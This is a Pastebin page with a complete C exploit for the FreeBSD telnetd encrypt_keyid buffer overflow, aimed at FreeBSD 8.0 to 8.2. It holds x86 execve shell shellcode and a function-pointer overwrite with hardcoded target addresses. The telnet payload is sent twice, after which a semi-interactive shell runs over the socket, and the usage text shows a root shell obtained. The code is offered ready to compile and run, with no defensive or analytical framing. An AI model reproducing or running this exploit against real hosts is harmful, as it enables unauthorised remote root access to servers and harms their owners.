Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /***************************************************************************
- * telnetd-encrypt_keyid.c
- *
- * Mon Dec 26 20:37:05 CET 2011
- * Copyright 2011 Jaime Penalba Estebanez (NighterMan)
- *
- * nighterman@painsec.com - jpenalbae@gmail.com
- * Credits to batchdrake as always
- *
- * ______ __ ________
- * / __ / /_/ / _____/
- * / /_/ /______________\ \_____________
- * / ___ / __ / / __ / \ \/ _ \/ __/
- * / / / /_/ / / / / /___/ / __/ /__
- * ____/__/____\__,_/_/_/ /_/______/\___/\____/____
- *
- *
- ****************************************************************************/
- /*
- *
- * Usage:
- *
- * $ gcc exploit.c -o exploit
- *
- * $ ./exploit 127.0.0.1 23 1
- * [<] Succes reading intial server request 3 bytes
- * [>] Telnet initial encryption mode and IV sent
- * [<] Server response: 8 bytes read
- * [>] First payload to overwrite function pointer sent
- * [<] Server response: 6 bytes read
- * [>] Second payload to triger the function pointer
- * [*] got shell?
- * uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
- *
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <errno.h>
- #include <sys/time.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #define MAXKEYLEN 64-1
- struct key_info
- {
- unsigned char keyid[MAXKEYLEN];
- unsigned char keylen[4];
- unsigned char dir[4];
- unsigned char modep[4];
- unsigned char getcrypt[4];
- };
- static unsigned char shellcode[] =
- "\x31\xc0" // xor %eax,%eax
- "\x50" // push %eax
- "\xb0\x17" // mov $0x17,%al
- "\x50" // push %eax
- "\xcd\x80" // int $0x80
- "\x50" // push %eax
- "\x68\x6e\x2f\x73\x68" // push $0x68732f6e
- "\x68\x2f\x2f\x62\x69" // push $0x69622f2f
- "\x89\xe3" // mov %esp,%ebx
- "\x50" // push %eax
- "\x54" // push %esp
- "\x53" // push %ebx
- "\x50" // push %eax
- "\xb0\x3b" // mov $0x3b,%al
- "\xcd\x80"; // int $0x80
- static unsigned char tnet_init_enc[] =
- "\xff\xfa\x26\x00\x01\x01\x12\x13"
- "\x14\x15\x16\x17\x18\x19\xff\xf0";
- static unsigned char tnet_option_enc_keyid[] = "\xff\xfa\x26\x07";
- static unsigned char tnet_end_suboption[] = "\xff\xf0";
- /*
- * shell(): semi-interactive shell hack
- */
- static void shell(int fd)
- {
- fd_set fds;
- char tmp[128];
- int n;
- /* check uid */
- write(fd, "id\n", 3);
- /* semi-interactive shell */
- for (;;) {
- FD_ZERO(&fds);
- FD_SET(fd, &fds);
- FD_SET(0, &fds);
- if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
- perror("select");
- break;
- }
- /* read from fd and write to stdout */
- if (FD_ISSET(fd, &fds)) {
- if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
- fprintf(stderr, "Goodbye...\n");
- break;
- }
- if (write(1, tmp, n) < 0) {
- perror("write");
- break;
- }
- }
- /* read from stdin and write to fd */
- if (FD_ISSET(0, &fds)) {
- if ((n = read(0, tmp, sizeof(tmp))) < 0) {
- perror("read");
- break;
- }
- if (write(fd, tmp, n) < 0) {
- perror("write");
- break;
- }
- }
- }
- close(fd);
- exit(1);
- }
- static int open_connection(in_addr_t dip, int dport)
- {
- int pconn;
- struct sockaddr_in cdata;
- struct timeval timeout;
- /* timeout.tv_sec = _opts.timeout; */
- timeout.tv_sec = 8;
- timeout.tv_usec = 0;
- /* Set socket options and create it */
- cdata.sin_addr.s_addr = dip;
- cdata.sin_port = htons(dport);
- cdata.sin_family = AF_INET;
- pconn = socket(AF_INET, SOCK_STREAM, 0);
- if( pconn < 0 )
- {
- printf("Socket error: %i\n", pconn);
- printf("Err message: %s\n", strerror(errno));
- exit(-1);
- }
- /* Set socket timeout */
- if ( setsockopt(pconn, SOL_SOCKET, SO_RCVTIMEO,
- (void *)&timeout, sizeof(struct timeval)) != 0)
- {
- perror("setsockopt SO_RCVTIMEO: ");
- exit(1);
- }
- /* Set socket options */
- if ( setsockopt(pconn, SOL_SOCKET, SO_SNDTIMEO,
- (void *)&timeout, sizeof(struct timeval)) != 0)
- {
- perror("setsockopt SO_SNDTIMEO: ");
- exit(1);
- }
- /* Make connection */
- if (connect(pconn,(struct sockaddr *) &cdata, sizeof(cdata)) != 0)
- {
- close(pconn);
- return -1;
- }
- return pconn;
- }
- static void usage(char *arg)
- {
- printf("Telnetd encrypt_keyid exploit for FreeBSD\n");
- printf("NighterMan <nighterman@painsec.com>\n\n");
- printf("Usage: %s [ip] [port] [target]\n", arg);
- printf("Available Targets:\n");
- printf(" - 1: FreeBSD 8.0 & 8.1\n");
- printf(" - 2: FreeBSD 8.2\n\n");
- }
- int main(int argc, char *argv[])
- {
- /* Payload Size */
- int psize = (sizeof(struct key_info) +
- sizeof(tnet_option_enc_keyid) +
- sizeof(tnet_end_suboption));
- struct key_info bad_struct;
- unsigned char payload[psize];
- unsigned char readbuf[256];
- int ret;
- int conn;
- int offset = 0;
- if ( argc != 4) {
- usage(argv[0]);
- return -1;
- }
- /* Fill the structure */
- memset(&bad_struct, 0x90, sizeof(struct key_info));
- memcpy(&bad_struct.keyid[20], shellcode, sizeof(shellcode));
- memcpy(bad_struct.keylen, "DEAD", 4);
- memcpy(bad_struct.dir, "BEEF", 4);
- memcpy(bad_struct.modep, "\x6c\x6f\x05\x08", 4); /* Readable address */
- /* Shellcode address (function pointer overwrite) */
- switch (atoi(argv[3])) {
- case 1:
- memcpy(bad_struct.getcrypt, "\xa6\xee\x05\x08", 4);
- break;
- case 2:
- memcpy(bad_struct.getcrypt, "\xed\xee\x05\x08", 4);
- break;
- default:
- printf("Bad target\n");
- return -1;
- break;
- }
- /* Prepare the payload with the overflow */
- memcpy(payload, tnet_option_enc_keyid, sizeof(tnet_option_enc_keyid));
- offset += sizeof(tnet_option_enc_keyid);
- memcpy(&payload[offset], &bad_struct, sizeof(bad_struct));
- offset += sizeof(bad_struct);
- memcpy(&payload[offset], tnet_end_suboption, sizeof(tnet_end_suboption));
- /* Open the connection */
- conn = open_connection(inet_addr(argv[1]), atoi(argv[2]));
- if (conn == -1) {
- printf("Error connecting: %i\n", errno);
- return -1;
- }
- /* Read initial server request */
- ret = read(conn, readbuf, 256);
- printf("[<] Succes reading intial server request %i bytes\n", ret);
- /* Send encryption and IV */
- ret = write(conn, tnet_init_enc, sizeof(tnet_init_enc));
- if (ret != sizeof(tnet_init_enc)) {
- printf("Error sending init encryption: %i\n", ret);
- return -1;
- }
- printf("[>] Telnet initial encryption mode and IV sent\n");
- /* Read response */
- ret = read(conn, readbuf, 256);
- printf("[<] Server response: %i bytes read\n", ret);
- /* Send the first payload with the overflow */
- ret = write(conn, payload, psize);
- if (ret != psize) {
- printf("Error sending payload first time\n");
- return -1;
- }
- printf("[>] First payload to overwrite function pointer sent\n");
- /* Read Response */
- ret = read(conn, readbuf, 256);
- printf("[<] Server response: %i bytes read\n", ret);
- /* Send the payload again to tigger the function overwrite */
- ret = write(conn, payload, psize);
- if (ret != psize) {
- printf("Error sending payload second time\n");
- return -1;
- }
- printf("[>] Second payload to triger the function pointer\n");
- /* Start the semi interactive shell */
- printf("[*] got shell?\n");
- shell(conn);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement